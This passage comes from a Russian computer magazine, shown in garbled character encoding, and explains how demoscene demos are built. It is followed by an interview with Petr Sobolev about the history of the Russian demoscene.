âîëÿåò ïîëó÷èòü âûñîêîå êà÷åñòâî çâó÷àíèÿ (äàæå
âûøå ÷åì mp3-style ôîðìàòàõ). Ñìîòðèì è âíèìà-
òåëüíî ñëóøàåì êà÷åñòâî ñàóíäðåêà â äåìêàõ ñ ìî-
äóëüíîé ìóçûêîé: Haujobb � «disclone» è «íàø» îò-
âåò áóðæóÿì: T-Rex � «broadband». Íàèáîëåå ðàñï-
ðîñòðàíåíû ó äåìîìåéêåðîâ ñëåäóþùèå ôîðìàòû
ìîäóëüíîé ìóçûêè: IT � Impulse Tracker v2.14, XM �
FastTracker 2. Îáå ïðîãðàììû åùå DOS'îâñêèõ âðå-
ìåí, õîòÿ åñòü è win+linux êëîíû äëÿ IT � Schism
tracker, äëÿ XM � Fast Tracker 3. Òèïè÷íûé ðàçìåð
ìóçûêàëüíîãî ìîäóëÿ 200-2000 Êá. 

Òåì âðåìåíåì ìîùíîñòè êîìïüþòåðîâ ðîñëè
(è ðàñòóò) ïîñòîÿííî. Êòî-òî ñêàçàë: «À ïî÷åìó áû è
íåò?» è ñäåëàë ñèíòåçàòîð äëÿ ÏÊ. Ñèíòåçàòîð ãåíå-
ðèðóåò îãèáàþùèå ïî íåêîòîðûì çàêîíàì è ïðèìå-
íÿåò ê íèì ðàçëè÷íûå ôèëüòðû, äýëýè è ýôôåêòû. 

Â äåìêå òåáå áóäåò íåîáõîäèìî õðàíèòü êîä
ñàìîãî ñèíòåçàòîðà (ïëååðà) è íàáîð ïàðàìåòðîâ
ê íåìó. Ýòî õîçÿéñòâî çàíèìàåò î÷åíü ìàëî ìåñòà,
÷òî íàì, áåçóñëîâíî, íà ðóêó. Ñèíòåçàòîð ïîçâîëÿåò

ïîëó÷èòü èñêëþ÷èòåëüíî âûñîêîå êà÷åñòâî çâóêà, íî
òðåáóåò çíà÷èòåëüíûõ âû÷èñëèòåëüíûõ ðåñóðñîâ
(ôðàçó ïîñëå çàïÿòîé â 21 âåêå ïðèíÿòî îïóñêàòü, äà
è íèêòî íå îòìåíÿë prerendering). Äëÿ òåõ, êòî íå âå-
ðèò â êà÷åñòâî ñèíòåçàòîðîâ, � êà÷àåì è ñëóøàåì
äåìêè: Farbrausch � «fr-34», AOS � «offworld» (ìåæ-
äó ïðî÷èì, ðàáîòà-ïîáåäèòåëü äåìîïàòè CC-2006
â Ïèòåðå, hi to Preston & UNC!). Ïîäðîáíîå îïèñàíèå
ðàáîòû ìóçûêàëüíîãî ñèíòåçàòîðà ÿâíî âûõîäèò çà
ðàìêè ýòîé ñòàòüè, äà è ðàññêàçûâàòü îá ýòîì äîëæ-
íû ëþäè, êîòîðûå ñàìè ïèñàëè ñèíòåçàòîðû, òàê ÷òî
èùåì âñå â èíòåðíåòå. À çàâåðøàþò ðàçíîîáðàçèå
ôîðìàòîâ ìóçûêè â äåìêàõ ïîòîêîâûå ôîðìàòû:
mp3, ogg, wma. ×òî èìåííî âûáðàòü � ðåøàòü èñê-
ëþ÷èòåëüíî òåáå. Â àáñîëþòíîì áîëüøèíñòâå ñîâ-
ðåìåííûõ äåìîê èñïîëüçóåòñÿ ïîòîêîâûé ôîðìàò
ìóçûêè. Òàê áûñòðåå, óäîáíåå è íèêòî íå óêðàäåò
ñýìïëîâ èç íàøèõ ìîäóëåé :). Óäàðèòü ïî çâóêîâûì
ðåöåïòîðàì ïîìîãóò ñàóíäòðåêè èç äåìîê: mfx �
«deiteies», kewlers � «a significant deformation near
the cranium».

Â âîñïðîèçâåäåíèè ñàóíäòðåêà íåò íè÷åãî
ñëîæíîãî. Êîíå÷íî, ñàìûå ñìåëûå è îïûòíûå ïðîã-
ðàììåðû ïèøóò âñå ñàìè, íî íåò íè÷åãî çàçîðíîãî
â èñïîëüçîâàíèè êà÷åñòâåííûõ ñòîðîííèõ èíñòðó-
ìåíòîâ. Íàèáîëåå ðàñïðîñòðàíåíû áèáëèîòåêè
Bass (êñòàòè, ýòó áèáëèîòåêó ÿ êîãäà-òî îïèñûâàë íà
ñòðàíèöàõ Êîäèíãà � ïðèì. Ëîçîâñêîãî) îò Ian Luck
è fMod îò Firelight multimedia. Îáå àáñîëþòíî áåñ-
ïëàòíû äëÿ íåêîììåð÷åñêèõ ïðèëîæåíèé è ïðåäëà-
ãàþò â öåëîì îäèíàêîâûé íàáîð ôóíêöèé. Â ýòèõ
áèáëèîòåêàõ åñòü âðàïïåðû ïîä âñå îñíîâíûå ÿçû-
êè ïðîãðàììèðîâàíèÿ è ïëàòôîðìû. Èñïîëüçóÿ ýòè
áèáëèîòåêè, òû ëåãêî ïðîèãðàåøü ñâîè ìîäóëè èëè
mp3�øêè äàæå íå çàäóìûâàÿñü î òîì, êàêîé çâóêî-
âîé àäàïòåð ó òåáÿ ñòîèò. Äîïîëíèòåëüíî Bass ïîä-
äåðæèâàåò êîìïðåññèðîâàííûå ñ ïîìîùüþ òåõíî-
ëîãèè mpeg ìóçûêàëüíûå ìîäóëè MO3, à fMod ìíå

íðàâèòñÿ ïî ïðè÷èíå ïðîñòîòû ñèíõðîíèçàöèè. Êðî-
ìå òîãî, åñòü âåðñèÿ MinifMod, êîòîðàÿ èñïîëüçóåò-
ñÿ äëÿ ïðîèãðûâàíèÿ ìîäóëåé â ìàëîðàçìåðíûõ
äåìêàõ è èíòðàõ ñ ñèíòåçèðîâàííûìè ñýìïëàìè.
À âîò ñ «÷èñòûìè» ñèíòåçàòîðàìè ñëîæíåå. Â ðàç-
äåëå demotools íà www.pouet.net åñòü public-ñèíòåçà-
òîðû, íî îíè âñå î÷åíü ðàçíûå, è ïåðåä ðåàëüíûì
èñïîëüçîâàíèåì ïðèäåòñÿ èõ äîñêîíàëüíî èçó÷àòü.

êàê ââñå ýýòî ððàáîòàåò ââìåñòå? Ñåé÷àñ ÿ ïîïðî-
áóþ ðàññêàçàòü î òîì, êàê ðàáîòàåò generic-äåìêà
íà ôóíêöèîíàëüíîì óðîâíå. Ïî õîäó îáúÿñíåíèÿ
ó ìåíÿ áóäåò ïîÿâëÿòüñÿ æåëàíèå ïèñàòü ñðàçó êóñ-
êè êîäà, íî ÿ ïåðåáîðþ ñåáÿ è ïîïðîáóþ
ðàñòîëêîâàòü âçàèìîäåéñòâèå ðàçëè÷íûõ ýëåìåí-
òîâ äåìêè íà óðîâåíü âûøå, à êîíêðåòíûå ïðèìåðû
ðåàëèçàöèé òû ïîäñìîòðèøü ñàì èç ïðèìåðîâ
NeHe. Äëÿ íà÷àëà � ïîñìîòðè íà êàðòèíêó «Ñõåìà
ðåàëèçàöèè».

Âñå íà÷èíàåòñÿ ñ èíèöèàëèçàöèè ãðàôè÷åñêîé
ïîäñèñòåìû. Ìîæíî ñíà÷àëà çàãðóçèòü äàííûå, íî
êàê òû òîãäà íàðèñóåøü êðàñèâûé progressbar? Ïîý-
òîìó áóäåì ïîñëåäîâàòåëüíû. Õîðîøèì òîíîì ÿâëÿ-
åòñÿ ïðåäîñòàâëåíèå ïîëüçîâàòåëþ âîçìîæíîñòè äî
çàïóñêà äåìêè âûáðàòü õîòÿ áû ðàçðåøåíèå ýêðàíà.
Êàê âàðèàíò � ìîæíî ñäåëàòü îòäåëüíûé êîíôèãó-
ðàòîð (îòäåëüíàÿ ïðîãðàììà), à äåìêà áóäåò óæå çà-
ïóñêàòüñÿ ïî àêòèâíûì íàñòðîéêàì. Åñëè òû ïè-
øåøü 64Ê èëè ïðîñòî ëåíèâ, êàê ñûòàÿ àíàêîíäà, òî
ñêîìïèëèðóé íåñêîëüêî .exe ñ ðàçëè÷íûìè íàñòðîé-
êàìè. Íàïðèìåð, demo_fullscreen.exe è demo_win-
dow.exe. Îäíàêî ÷òî-òî ìû îòîøëè îò ñóòè.

Ïðè èíèöèàëèçàöèè îáÿçàòåëüíî ñìîòðè íà êî-
äû âîçâðàòà îøèáîê. Ëó÷øå îïðåäåëèòü âîçìîæíîñ-
òè ñèñòåìû ïîëüçîâàòåëÿ çàðàíåå, ÷åì çàñòàâëÿòü
åãî æäàòü ïðîöåññà çàãðóçêè è ïåðâîãî «âûâàëèâà-
íèÿ» ïî îøèáêå. Äëÿ OpenGL ñàìàÿ îòâåòñòâåííàÿ
÷àñòü � ýòî âûáîð pixelformat. Òàêæå ïîäâîäíûé êà-
ìåíü ìîæíî íàéòè ïðè óñòàíîâêå ïîëíîýêðàííîãî
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ÏÎÏÓËßÐÍÛÅ 
ÄÅÌÎÒÓËÇÛ

{Werkkzeug}
www.theprodukkt.co
àll-in-one, âêëþ÷àÿ
äàæå ñðåäñòâî îò
êîìàðîâ

{Moppy Demopaja}
http://demopaja.org
óäîáíîå óïðàâëåíèå
ñöåíàìè, íî õàëòóðà 
íå ïðîéäåò � âñå plug-
in'û ïðèäåòñÿ íàïèñàòü
ñàìîìó

{Neon v2}
http://neonv2.com
ê äåìîñèñòåìå
ñóùåñòâóåò áîëüøîå
êîëè÷åñòâî ïëàãèíîâ 
è ýôôåêòîâ, íî äðóãèå
âàðèàíòû áîëåå ãèáêè 
è ôóíêöèîíàëüíû

{Plasticator}
http://plasticator.heroez.ne
îòå÷åñòâåííûé ïðîåêò,
ïðåäëàãàåò î÷åíü
ìíîãîå è ñðàçó,
ãëàâíîå �
íå çàïóòàòüñÿ 
â èíòåðôåéñå

Èíòðà Fr-08 : «The Produkkt»



âèäåîðåæèìà � íå ñòîèò ïðûãàòü â âèäåîðåæèì ñ
custom framerate. Ïåðåêëþ÷àéñÿ íà ëþáîé äîñòóï-
íûé ðåæèì ñ äàííûì ðàçðåøåíèåì. Ïðîùå ãîâî-
ðÿ � íå íàäî 640x480@100, íàäî 640x480@default. 

Ñëåäóþùèé øàã � çàãðóçêà äàííûõ. Äàííûå
ìîæíî õðàíèòü â îòäåëüíûõ ôàéëàõ, â áîëüøèõ sin-
gle-file ïàêàõ, â .exe-ðåñóðñàõ èëè äàæå â ñåãìåíòå
êîäà. Êàê èìåííî � ðåøàòü òåáå. Åñëè õðàíèòü
âíóòðè .exe, òî íå íàäî äóìàòü íàñ÷åò óïàêîâêè �
âñåãäà åñòü UPX èëè ASPack. Õîðîøèì ðåøåíèåì
ÿâëÿåòñÿ õðàíåíèå äàííûõ â ïîïóëÿðíûõ àðõèâíûõ
ôîðìàòàõ ZIP, RAR. Â òàêîì ñëó÷àå òåáå ïîíàäî-
áèòñÿ ñîîòâåòñòâóþùàÿ áèáëèîòåêà äåêîìðåññèè.
Êàê ïðèìåð ìîæíî ïðèâåñòè unique � unRar library
(http://www.unrarlib.org). Äîëæåí ñðàçó ïðåäóïðåäèòü
òåáÿ, ÷òî äåëàòü âðåìåííûå ôàéëû ïðè ðàñïàêîâêå
è çàãðóçêå äåìêè � ýòî ñòðàøíîå çëî. Õîòÿ, åñëè òû
êóëüòóðíî ïîëó÷èøü ñèñòåìíûé temporary file, òî�
Íåò, âñå ðàâíî çëî. Íàøà äåìêà äîëæíà ðàñïàêîâû-
âàòü âñå ñðàçó â ïàìÿòü, òàê, ÷òîáû åå ìîæíî áûëî
áåçáîëåçíåííî çàïóñêàòü äàæå ñ êîìïàêò-äèñêà.

Ñëåäóþùèé ýëåìåíò � ÷àùå âñåãî, ñàìûé
ñëîæíûé äëÿ íîâè÷êîâ. Ïåðåä òåì êàê íà÷èíàòü ïè-
ñàòü ñâîþ äåìêó, ÿ íàñòîÿòåëüíî ðåêîìåíäóþ òåáå
ïîïðîáîâàòü íàïèñàòü òåòðèñ (÷åðåç ýòî äîëæåí
ïðîéòè êàæäûé ïðîãðàììèñò :) � ïðèì. Ëîçîâñêîãî).
Äà-äà, èìåííî îáûêíîâåííûé òåòðèñ. Î÷åíü ìíîãî
ñõîæèõ ýëåìåíòîâ, äà è îïûòà ïðîãðàììèðîâàíèÿ
ýòî äîáàâèò. ß ñåðüåçíî! Îòìàçêè â ñòèëå «ÿ ðàáî-
òàþ òîëüêî ñ áàçàìè äàííûõ, çà÷åì ìíå ýòîò òåò-
ðèñ?» ïëîõî ñêðûâàþò òî, ÷òî ÷åëîâåê íà ñàìîì äå-
ëå äàæå íå ïðåäñòàâëÿåò, êàê ýòî äåëàåòñÿ. Ïîçâî-
ëþ ñåáå è òóò ââåðíóòü íåñêîëüêî ïîëåçíûõ ñîâåòîâ.

Â íà÷àëå êàæäîãî íîâîãî êàäðà ìû äîëæíû óç-
íàòü òåêóùåå âðåìÿ îò íà÷àëà ïðîèãðûâàíèÿ ìóçûêè.
Åñëè òû èñïîëüçóåøü fMod, òî îí ìîæåò îòäàòü íàì
òåêóùåå âðåìÿ â ïðîèãðûâàåìîì ôàéëå, äëÿ äðóãèõ
ñëó÷àåâ íàäî èñïîëüçîâàòü gettickcount èëè
QueryPerfomanceTimer ñ ó÷åòîì ñòàðòîâîãî òèêà. Òî÷-
íîñòü Gettickcount ïëàâàåò îò ñèñòåìû ê ñèñòåìå
â çëîì äèàïàçîíå äî 10 ì, ÷òî ïðåäñòàâëÿåò ñîáîé
ìàêñèìóì 100FPS, à RTDS íå ïîääåðæèâàåòñÿ íà
ïðîöåññîðàõ íèæå iP3, äà è íà íîóòáó÷íûõ ìîáèëüíûõ
êàìåøêàõ ÷àñòåíüêî îòìà÷èâàåò åùå òå ïðèêîëû. 

Äàëåå ìû íàõîäèì òó ñöåíó, êîòîðàÿ äîëæíà
áûòü âèäíà â êîíêðåòíûé ìîìåíò âðåìåíè è ðèñóåì
åå. Îáðàòè âíèìàíèå, ÷òî íàèáîëåå óäîáíî âûçû-
âàòü ñöåíó â åå ëîêàëüíîì âðåìåíè. Íàïðèìåð, âðå-
ìÿ íà íà÷àëî êàäðà � 13.5 ñåêóíäû, à ñöåíà äîëæíà
èäòè ñ 10-é ñåêóíäû ïî 15-þ. Èòîãî: ìû ïåðåäàåì
ýòîé ñöåíå çíà÷åíèå âðåìåíè â èíòåðâàëå îò 0 äî
1, � äëÿ äàííîãî ïðèìåðà ýòî áóäåò (13.5-10)/(15-
10)=0,7. Èñïîëüçîâàíèå íîðìàëèçèðîâàííîãî ëî-
êàëüíîãî âðåìåíè î÷åíü óäîáíî. Äàëüøå � áîëüøå!
Â ïðÿìîì ñìûñëå. Åñëè äåëàòü ïëàâíûå ïåðåõîäû
ìåæäó ñöåíàìè èëè «ìåñèâî» èç íåñêîëüêèõ ñöåí, òî
íåîáõîäèì äîïîëíèòåëüíûé ìåíåäæåð ñöåí èëè
âèðòóàëüíàÿ ñöåíà, êîòîðàÿ íè÷åãî íå áóäåò äåëàòü,
êðîìå êàê âûçûâàòü èç ñåáÿ ïðîðèñîâêó äðóãèõ ñöåí
è ñìåøèâàòü ðåçóëüòàò, à â ñàìîì êîíöå ýòîãî ýëå-
ìåíòà ìîæíî ñäåëàòü èòîãîâûé ïîñòïðîöåññèíã,

íàïðèìåð, ìîäíûé íûí÷å glow\bloom. Äàëåå � áûñò-
ðåíüêî ñìîòðèì, íàæàë ëè ìåðçêèé þçåð êëàâèøó
Åsc, è íå çàêîí÷èëàñü ëè åùå ìóçûêà. Åñëè íåò �
ïîâòîðÿåì âåñü öèêë îòðèñîâêè êàäðà.

À äëÿ òîãî, ÷òîáû îñòàâèòü õîðîøåå âïå÷àò-
ëåíèå îò ïðîñìîòðà è ïðè ýòîì íå îñòàâèòü «õâîñ-
òîâ» â ïàìÿòè � àêêóðàòíî óáèðàåì çà ñîáîé, õîòÿ
åñëè «áðîñèòü» äåâàéñû, êîíòåêñòû è òåêñòóðû
â D3D èëè OpenGL � òî íè÷åãî ñòðàøíîãî íå ñëó-
÷èòñÿ. Íî áóäåì êóëüòóðíåå :). Õîòÿ áû ÷óòü-÷óòü.

ñonclusion èèëè ííåñêîëüêî ññëîâ ââäîãîíêó. Òàê
óæ ïîëó÷èëîñü, ÷òî íàøå îïèñàíèå âíóòðåííîñòåé
äåìêè âûøëî äîñòàòî÷íî ñóìáóðíûì, â ñòèëå «ãà-

ëîïîì-ïî-Åâðîïàì». Íî íå áîãè ãîðøêè îáæèãàþò,
äà è äåìêè, ïóñòü äàæå ñàìûå êðóòûå, äåëàþò ñà-
ìûå îáûêíîâåííûå òàëàíòëèâûå ëþäè. Äàæå åñ-
ëè òû íå ïðîãðàììèñò è íå ïðåäñòàâëÿåøü â äåòà-
ëÿõ how does it work � íè÷åãî ñòðàøíîãî: åñòü ðàç-
ëè÷íûå äåìîñèñòåìû, ãäå îò òåáÿ áóäåò òðåáî-
âàòüñÿ òîëüêî êðåàòèâ è êëèêè ìûøêîé â íóæíûõ
ìåñòàõ. Ãëàâíîå � ýòî æåëàíèå òâîðèòü. À ñòàòüÿ,
â êîòîðîé ÿ ñàìûì ïîäðîáíûì îáðàçîì ðàçáåðó
ïðîãðàììèðîâàíèå äåìêè, æäåò òåáÿ â ýòîì æå íî-
ìåðå. Êñòàòè, ìåíåå ÷åì ïîëãîäà îòäåëÿåò íàñ îò
áëèæàéøèõ ðîññèéñêèõ äåìîïàòè: DiHalt â Íèæåì
è ChaosConstructions â Ïèòåðå�
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ÏÐÈÌÅÐÛ ÐÅÍÄÅÐÎÂ
{1} cîôòâàð
matrix � «the fulcrum» � ïîòðÿñàþùèé ñîôòâàðíûé
ðåíäåð îáðàçöà êîíöà 90-õ. ×óâñòâóåòñÿ,
÷òî âîçìîæíîñòè äåòàëèçàöèè èçîáðàæåíèÿ
äèêòîâàëèñü ëèøü ñóùåñòâóþùèìè 166mhz ïíÿìè.
Äèíàìè÷åñêîå îñâåùåíèå, òåíè, îáúåìíûé ñâåò,
àíèìàöèÿ ìîäåëåé � è âñå ýòî ñ÷èòàåòñÿ òîëüêî
íà ïðîöåññîðå!

{2} ðýéòðåéñåð
fan � «still sucking nature» � ãîä âûïóñêà 2003,
íî äàæå ñåé÷àñ ýòî íå÷òî! Â èíôîðìàöèè ïî ïðîåêòó
ñîçäàòåëè óòâåðæäàþò, ÷òî ïûòàëèñü ñäåëàòü
èìåííî ôîòîðåàëèñòè÷íóþ êàðòèíêó â ðåàëüíîì
âðåìåíè.

{3} õàðäâàð
«rgba» � paradise, ïðîñòî êðàñèâàÿ íåáîëüøàÿ
èíòðà ñ ïî÷òè æèâîé òðàâîé è íàñòîÿùèìè
íîñîðîãàìè! Âñåãî ëèøü 56 êá!

3

2

1

ÂÅÑÜ ÑÒÀÔÔ È ÄÅÌÊÈ Ê ÝÒÎÉ ÑÒÀÒÜÅ 
ÆÄÓÒ ÒÅÁß ÍÀ ÍÀØÅÌ ÊÎÌÏÀÊÒ-ÄÈÑÊÅ



84 ÑÏÅÖ-TOPIC ÑÏÅÖ 02-07

Q: ÏÏðèâåòñòâóþ! ÏÏðåäëàãàþ òòàêîé ïïëàí ááåñåäû:
ñíà÷àëà îî òòåáå, ççàòåì � î ääåìîñöåíå ââ ööåëîì,
è íàêîíåö � î òòåáå èè îî ääåìîñöåíå.
A: Äàâàé, ñïðàøèâàé.
Q: ÄÄëÿ ííà÷àëà � èìÿ, ôôàìèëèÿ, ïïðîôåññèÿ.
A: Ïåòð Ñîáîëåâ, çàíèìàþñü IT â øèðîêîì ñìûñëå
ñëîâà. Îò÷àñòè ðóêîâîæó, îò÷àñòè ñàì çàíèìàþñü
ïðîãðàììèðîâàíèåì, äèçàéíîì. Ïðåèìóùåñòâåí-
íî äëÿ èíòåðíåòà. Âîçðàñò � 33 ãîäà.
Q: ÐÐàññêàæè êêðàòêî îî ññåáå ââ ïïëàíå îîòíîøåíèÿ 
ê ääåìîñöåíå, ÷÷òîáû ÷÷èòàòåëþ ññòàëî ÿÿñíî, ïïî÷åìó
ÿ ááåðó èèíòåðâüþ èèìåííî óó òòåáÿ. 
A: Äàâíî, â 1993 èëè 1994 ãîäó ìû ñ äðóçüÿìè îð-
ãàíèçîâàëè ãðóïïó Realm Of Illusion è âûïóñòèëè
íåñêîëüêî âåùåé � â ÷àñòíîñòè, ýëåêòðîííûé
æóðíàë (diskmag) «iNFUSED BYTES», êîå-êàêèå
intro, óòèëèòû. 

Â 1995 îðãàíèçîâàëè è ïðîâåëè ïåðâóþ â
áûâøåì ÑÑÑÐ demo party � ENLIGHT'95 (Ñàíêò-
Ïåòåðáóðã).
Q: ÂÂåñüìà îîðãàíè÷íî ððàçãîâîð ïïåðåøåë ââ ððóñëî
èñòîðèè ääåìîñöåíû ââ ÐÐîññèè. ÂÂû ááûëè
ïåðâîîòêðûâàòåëÿìè?
A: Ìû îòêðûëè äâåðè èìåííî äëÿ demo party â Ðîñ-
ñèè. Íî ÷òî êàñàåòñÿ intro è demo, òî ïåðâûå èíòå-
ðåñíûå ðîññèéñêèå ðàáîòû � íå íàøè, óâû.
Q: ÈÈíòðî �� èèìåþòñÿ ââ ââèäó ããðàôè÷åñêèå ççàñòàâêè
äëÿ ïðîã èè êðýêîâ?
A: Íå ñîâñåì. Òàêîâûìè îíè áûëè â èçíà÷àëüíîì,
îðèãèíàëüíîì ïîíèìàíèè ýòîãî ñëîâà. Åùå íà 8-
áèòíûõ ìàøèíêàõ � Commodore 64, Amiga. Íà PC
ïîíÿòèå intro óæå îçíà÷àëî ñàìîñòîÿòåëüíóþ ìà-
ëåíüêóþ demo.
Q: ÀÀ ÷÷òî èèçâåñòíî ïïðî ïïåðâóþ ððóññêóþ èèíòðî,
äåìó? ÈÈëè ååñòü òòîëüêî ïïðåäïîëîæåíèÿ?
A: Ýòî êàê ñ ïåðâûì ÷åëîâåêîì íà Çåìëå. Íè÷åãî
íå ìîãó òî÷íî ñêàçàòü. Ïðîñòî ïîòîìó, ÷òî ãðàíèöà
ìåæäó êàêèì-òî çàïðîãðàììèðîâàííûì ïðîñòåíü-

êèì âèäåîýôôåêòîì è èíòðî/äåìî � î÷åíü íå÷åò-
êàÿ. Ëè÷íî ìíå èç ñòàðûõ îòå÷åñòâåííûõ ðàáîò çà-
ïîìíèëàñü Fireworks è Cross.
Q: ÊÊñòàòè, ììíå, êêàê ÷÷åëîâåêó, ííà÷èíàâøåìó
ðàáîòó ççà ÝÝÂÌ êêàê ððàç ññ ÌÌèêðîø èè ÊÊîììîäîðîâ,
èíòåðåñíî ííåìíîãî ïïîñëóøàòü ïïðî èèíòðû ääëÿ ííèõ.
Íåò ëëè ÷÷åãî îîñîáî ççàïîìíèâøåãîñÿ?
A: ß ñàì íà÷èíàë ñ Commodore 64. Ìèêðîøè è Ñïåêò-
ðóìû êàê-òî îáîøëè ñòîðîíîé (õîòÿ ÿ èõ âèäåë,
ïðåäñòàâëÿë, êàê îíè óñòðîåíû è äàæå íåìíîãî
ïðîãðàììèðîâàë íà íèõ).

Íà C64 åñòü ìíîãî î÷åíü õîðîøèõ ðàáîò, íî áî-
þñü, ÷òî ìàëî êîìó èõ íàçâàíèÿ ÷òî-òî ñêàæóò (äà åñ-
ëè äàæå è ñêàæóò, ïî òåïåðåøíèì âðåìåíàì îíè
ñìîòðÿòñÿ íåñêîëüêî ñòðàííî). Ìîãó íàçâàòü Place in

ÏÐÅÄÑÒÀÂËßÅÌ ÒÂÎÅÌÓ ÂÍÈÌÀÍÈÞ ÈÍÒÅÐÂÜÞ
Ñ ÍÀÑÒÎßÙÈÌ ÑÒÀÐÎÆÈËÎÌ ÎÒÅ×ÅÑÒÂÅÍÍÎÉ ÄÅÌÎ-
ÑÖÅÍÛ. ÍÅ ÁÓÄÓ ÐÀÑÊÐÛÂÀÒÜ ÂÑÅÕ ÑÅÊÐÅÒÎÂ CÐÀÇÓ,

ËÈØÜ ÑÊÀÆÓ, ×ÒÎ ÍÀ ÎÒÅ×ÅÑÒÂÅÍÍÎÉ ÑÖÅÍÅ
ÎÍ Ñ 1993 ÃÎÄÀ È ÈÌÅÅÒ ÎÒÍÎØÅÍÈÅ Ê ÑÀÌÛÌ

ÇÍÀÊÎÂÛÌ ÂÅÕÀÌ ÅÅ ÆÈÇÍÈ
Èíòåðâüþ ááðàë

Àëåêñàíäð ËËîçîâñêèé

èíòåðâüþ
ñ Ïåòðîì

Ñîáîëåâûì
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Space ãðóïïû Taboo, Red Storm by Triad, Wonderland,
Lights by Censor Design, Legoland by Fairlight.
Q: ÅÅñëè óóæ ããîâîðèòü îîá îîëäñêóëüíûõ ââðåìåíàõ, òòî
êàê òòû îîòíîñèøüñÿ êê ääåìêàì ââ ââèðóñàõ? ÏÏîìíþ,
âèäåë ÷÷òî-òòî ïïîäîáíîå ââ 990-õõ, òòîëüêî ííàçâàíèÿ ííå
ñîõðàíèë. ÌÌîæåò, ððàññêàæåøü îî ïïàðî÷êå?
A: Âïåðâûå ñëûøó ïðî òàêîå. Íî ïîñêîëüêó ê âèðó-
ñàì ÿ îòíîøóñü îòðèöàòåëüíî (äóìàþ, ÷òî èõ àâòî-
ðû ïðîñòî èçáðàëè ñåáå ïóòü ïîïðîùå), òî è ê äåì-
êàì â íèõ õîðîøî îòíåñòèñü íå ñìîãó.
Q: ÒÒðóäíî ññîãëàñèòüñÿ ïïî ïïîâîäó ïïðîñòîãî ïïóòè,
åñëè óó÷åñòü ññëîæíîñòü ïïîëèìîðôèêîâ òòåõ
âðåìåí� ××òî ññêàæåøü ïïî ïïîâîäó ççíàêîâûõ ôôèãóð
äåìîìåéêèíãà ííà ÊÊîììîíäîðå? ÎÎáùàëñÿ ññ êêåì-òòî
ëè÷íî? ÐÐàññêàæè.

A: Øåäåâðû åñòü â ëþáûõ îáëàñòÿõ. Íî åñëè ñìîò-
ðåòü â öåëîì, òî ýòî ñïîñîá áûñòðî óâèäåòü âëèÿ-
íèå ñâîåé «ðàáîòû» íà øèðîêèé êðóã ëþäåé. Â êà-
êîì-òî ñìûñëå ýòî ïðèíîñèò óäîâëåòâîðåíèå. Íå
ìîãó ÿ îäîáðèòü òàêîãî ðîäà äåÿòåëüíîñòü. Âåð-
íåìñÿ ëó÷øå ê äåìêàì. ×òî êàñàåòñÿ ôèãóð: èç çà-
ðóáåæíûõ ïåðñîí ÿ â òå âðåìåíà áðàë èíòåðâüþ
(äëÿ iNFUSED BYTES) ó Bacchus/Fairlight. Ïîòîì
ïåðåïèñûâàëñÿ ñ GORE/Future Crew (îí òîãäà áûë
îðãàíèçàòîðîì âî Future Crew, à èçâåñòíûé ñåé÷àñ
îðãàíèçàòîð Assembly � Abyss � áûë ñèñîïîì
BBS). Íî ýòî áûëî, êîãäà ÿ óæå ïåðåøåë íà PC.
Íà Commodore 64 ïðîñòî íå áûëî ñïîñîáîâ ñâÿçè
êðîìå òåëåôîíà (ìåæäóãîðîäíèå çâîíêè áûëè íàì
íå ïî êàðìàíó) è ïî÷òû (ïî íåé GhostRider, ìîé

çíàêîìûé, èíîãäà ïåðåñûëàë 5.25" äèñêåòû). Ìî-
äåìû íà Commodore 64 áûëè îáû÷íî íà 160-300
áîä, äà è òî ìàëîäîñòóïíû.
Q: ÊÊñòàòè, ááûëî ááû ççäîðîâî ççàëèòü ññòàðûå
íîìåðà òòâîåãî ææóðíàëà ííà ííàø ääèñê. ßß ääóìàþ, 
ó ììíîãèõ ÷÷èòàòåëåé ýýòî ââûçâàëî ááû ññëåçó
íîñòàëüãèè. ÀÀ ÷÷òî ííàñ÷åò ÐÐÑ? ÍÍàñêîëüêî ááóðíóþ
äåÿòåëüíîñòü òòû ððàçâèë, ïïåðåéäÿ ííà ýýòó
ïëàòôîðìó?
A: Ñîáñòâåííî, âñå, î ÷åì ÿ ãîâîðèë â ïëàíå ðåëè-
çîâ Realm Of Illusion � ýòî áûëî èìåííî íà PC. Íà
C64 ÿ ëèøü îñâàèâàë êîìïüþòåð, èçó÷àë Assembl-
er (ïðîöåññîðà 6510), äðóãèå ÿçûêè.

×òî êàñàåòñÿ æóðíàëîâ, òî îíè äîñòóïíû
íà http://www.enlight.ru/roi, íî çàïóñòèòü èõ íà ñîâðå-
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ìåííîì PC � äåëî ãèáëîå. Òîãäà äåìêè è äðóãèå
ïðîãðàììû ïèñàëèñü òàê, ÷òîáû ìàêñèìàëüíî ýô-
ôåêòèâíî èñïîëüçîâàòü âîçìîæíîñòè ñëàáûõ
êîìïüþòåðîâ. À ýòî ïðîãðàììèðîâàíèå íà íèçêîì
óðîâíå � çàïèñü è ÷òåíèå èç ïîðòîâ, ðàñ÷åò,
ñêîëüêî òàêòîâ çàéìåò òà èëè èíàÿ èíñòðóêöèÿ�
Q: ÒÒî ååñòü ââ ïïëàíå ääåìîìåéêèíãà òòû ááûë ññêîðåå
êîäåðîì? ÅÅñëè òòîãäà ââîîáùå ááûëî òòàêîå
ðàçäåëåíèå ííà êêîäåðîâ èè òò.ä.
A: Ðàçäåëåíèå áûëî. Äà � ñêîðåå êîäåðîì. Òî÷íî
íå ìóçûêàíòîì :). Ðèñîâàòü øðèôòû è êîå-êàêèå
êàðòèíêè ïðèõîäèëîñü, íî ðåäêî. Ãðàôèêîé ó íàñ
çàíèìàëñÿ Lord Ville (Aux), à ìóçûêîé � Jumbo
BigBug è Wind Dragon.
Q: ÌÌåíÿ ââå÷íî òòÿíåò ííà îëäñêóë: ääàâàé ïïîãîâîðèì
î ïðîãðàììèðîâàíèè ââ òî ââðåìÿ. ÒÒû ííà÷àë
ñ Àññåìáëåðà ïïîä PC? ÀÀ íà ááîëåå ââûñîêèõ 
ÿçûêàõ ïïðèõîäèëîñü ïïèñàòü ääåìû?
A: ß íà÷èíàë ñ BASIC íà C64. Òîãäà ïî÷òè âñå ñ íå-
ãî íà÷èíàëè, è ìíå êàæåòñÿ, ýòî íåïëîõî. Ìîæåò
áûòü, îí íå äàåò êàêîãî-òî àêàäåìè÷åñêîãî ñòèëÿ,
íî çàòî ðàçâèâàåò ãèáêîñòü ìûøëåíèÿ, è ìîæíî
ñðàçó âèäåòü ðåçóëüòàò. Çàòåì Àññåìáëåð
6510/6502 íà òîì æå C64. Ïîñëå ïåðåõîäà íà PC �
Àññåìáëåð x86 è Pascal. Íåìíîãî � Forth.

